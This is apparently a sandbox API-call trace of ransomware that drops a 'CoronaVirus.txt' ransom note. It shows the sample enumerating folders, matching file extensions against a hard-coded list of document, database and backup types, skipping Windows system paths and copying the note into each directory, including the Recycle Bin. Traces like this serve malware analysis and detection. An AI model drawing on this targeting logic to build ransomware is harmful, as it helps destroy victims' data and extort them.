	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".txt", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".tex", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".dbf", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".xls", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".cry", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".xml", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".vsd", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".pdf", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".csv", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".bmp", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".tif", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".1cd", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".tax", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".gif", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".gbr", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".png", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".mdb", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".mdf", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".sdf", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".dwg", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".dxf", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".dgn", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".stl", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".gho", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".v2i", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".3ds", _SubStr=".cmd") returned 0x0
	[0079.300] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.300] wcsstr (_Str=".ppt", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".acc", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".vpd", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".odt", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".ods", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".rar", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".zip", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".cpp", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".pas", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".asm", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".rtf", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".lic", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".avi", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".mov", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".mp3", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".vbs", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".v8i", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".erf", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".epf", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.301] wcsstr (_Str=".mxl", _SubStr=".cmd") returned 0x0
	[0079.301] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".cfu", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".mht", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".bak", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".old", _SubStr=".cmd") returned 0x0
	[0079.302] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0079.302] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0079.302] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".bak", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".bat", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".doc", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".jpg", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".jpe", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".txt", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".tex", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".dbf", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".xls", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".cry", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".xml", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".vsd", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.302] wcsstr (_Str=".pdf", _SubStr=".cmd") returned 0x0
	[0079.302] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.303] wcsstr (_Str=".csv", _SubStr=".cmd") returned 0x0
	[0079.303] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.303] wcsstr (_Str=".bmp", _SubStr=".cmd") returned 0x0
	[0079.303] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.303] wcsstr (_Str=".tif", _SubStr=".cmd") returned 0x0
	[0079.303] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.303] wcsstr (_Str=".1cd", _SubStr=".cmd") returned 0x0
	[0079.303] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.303] wcsstr (_Str=".tax", _SubStr=".cmd") returned 0x0
	[0079.303] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.303] wcsstr (_Str=".gif", _SubStr=".cmd") returned 0x0
	[0079.303] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.303] wcsstr (_Str=".gbr", _SubStr=".cmd") returned 0x0
	[0079.303] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.303] wcsstr (_Str=".png", _SubStr=".cmd") returned 0x0
	[0079.303] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.303] wcsstr (_Str=".mdb", _SubStr=".cmd") returned 0x0
	[0079.303] _wcslwr (in: _String=0x3165886 | out: _String=".cmd") returned=".cmd"
	[0079.303] wcsstr (_Str=".mdf", _SubStr=".cmd") returned 0x0
	[0079.303] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0079.303] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0079.303] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0079.303] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0079.303] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0079.304] wcsncmp (_String1="$", _String2=".", _MaxCount=0x1) returned -10
	[0079.304] wcsncmp (_String1="$R", _String2="..", _MaxCount=0x2) returned -10
	[0079.304] _swprintf (in: param_1=0x3181f80, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin") returned 15
	[0079.304] wcsncmp (_String1="C:\\$Recyc", _String2="C:\\WINDOW", _MaxCount=0x9) returned -51
	[0079.304] wcsstr (_Str="C:\\$Recycle.Bin", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.304] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\$Recycle.Bin\\CoronaVirus.txt" (normalized: "c:\\$recycle.bin\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.435] _alloca_probe () returned 0x4036d0
	[0079.435] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x1000, lpBuffer=0x317bd08, lpFilePart=0x3173ab4 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x3173ab4*="$Recycle.Bin") returned 0xf
	[0079.435] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe8b50a93, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0079.435] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.435] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe8b50a93, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.435] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.435] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8b50a93, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe8b50a93, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0079.435] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0079.435] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0079.435] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.435] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0079.435] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.435] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0079.435] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.435] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0079.435] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.435] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0079.435] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.435] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0079.435] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.435] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0079.435] malloc (_Size=0x1000) returned 0x459900
	[0079.435] _swprintf (in: param_1=0x459900, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\CoronaVirus.txt") returned 31
	[0079.435] wcsstr (_Str="C:\\$Recycle.Bin\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0079.436] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0079.436] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0079.436] wcsncmp (_String1="S-", _String2="..", _MaxCount=0x2) returned 37
	[0079.436] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0079.436] wcsncmp (_String1="C:\\$Recyc", _String2="C:\\WINDOW", _MaxCount=0x9) returned -51
	[0079.436] wcsstr (_Str="C:\\$Recycle.Bin\\S-1-5-18", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.436] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-18\\CoronaVirus.txt" (normalized: "c:\\$recycle.bin\\s-1-5-18\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.439] _alloca_probe () returned 0x4036d0
	[0079.440] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-18", lpFilePart=0x316583c*="S-1-5-18") returned 0x18
	[0079.440] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe8b50a93, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0079.440] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.440] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe8b50a93, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.440] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.440] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8b50a93, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe8b50a93, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0079.440] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0079.440] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0079.440] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.440] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0079.440] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.440] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0079.440] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.440] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0079.440] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.440] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0079.440] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.440] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0079.440] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.440] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0079.440] malloc (_Size=0x1000) returned 0x45a908
	[0079.441] _swprintf (in: param_1=0x45a908, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\CoronaVirus.txt") returned 40
	[0079.441] wcsstr (_Str="C:\\$Recycle.Bin\\S-1-5-18\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0079.441] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0079.441] wcsncmp (_String1="d", _String2=".", _MaxCount=0x1) returned 54
	[0079.441] wcsncmp (_String1="de", _String2="..", _MaxCount=0x2) returned 54
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".bak", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".bat", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".doc", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".jpg", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".jpe", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".txt", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".tex", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".dbf", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".xls", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".cry", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.441] wcsstr (_Str=".xml", _SubStr=".ini") returned 0x0
	[0079.441] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".vsd", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".pdf", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".csv", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".bmp", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".tif", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".1cd", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".tax", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".gif", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".gbr", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".png", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".mdb", _SubStr=".ini") returned 0x0
	[0079.442] _wcslwr (in: _String=0x316587a | out: _String=".ini") returned=".ini"
	[0079.442] wcsstr (_Str=".mdf", _SubStr=".ini") returned 0x0
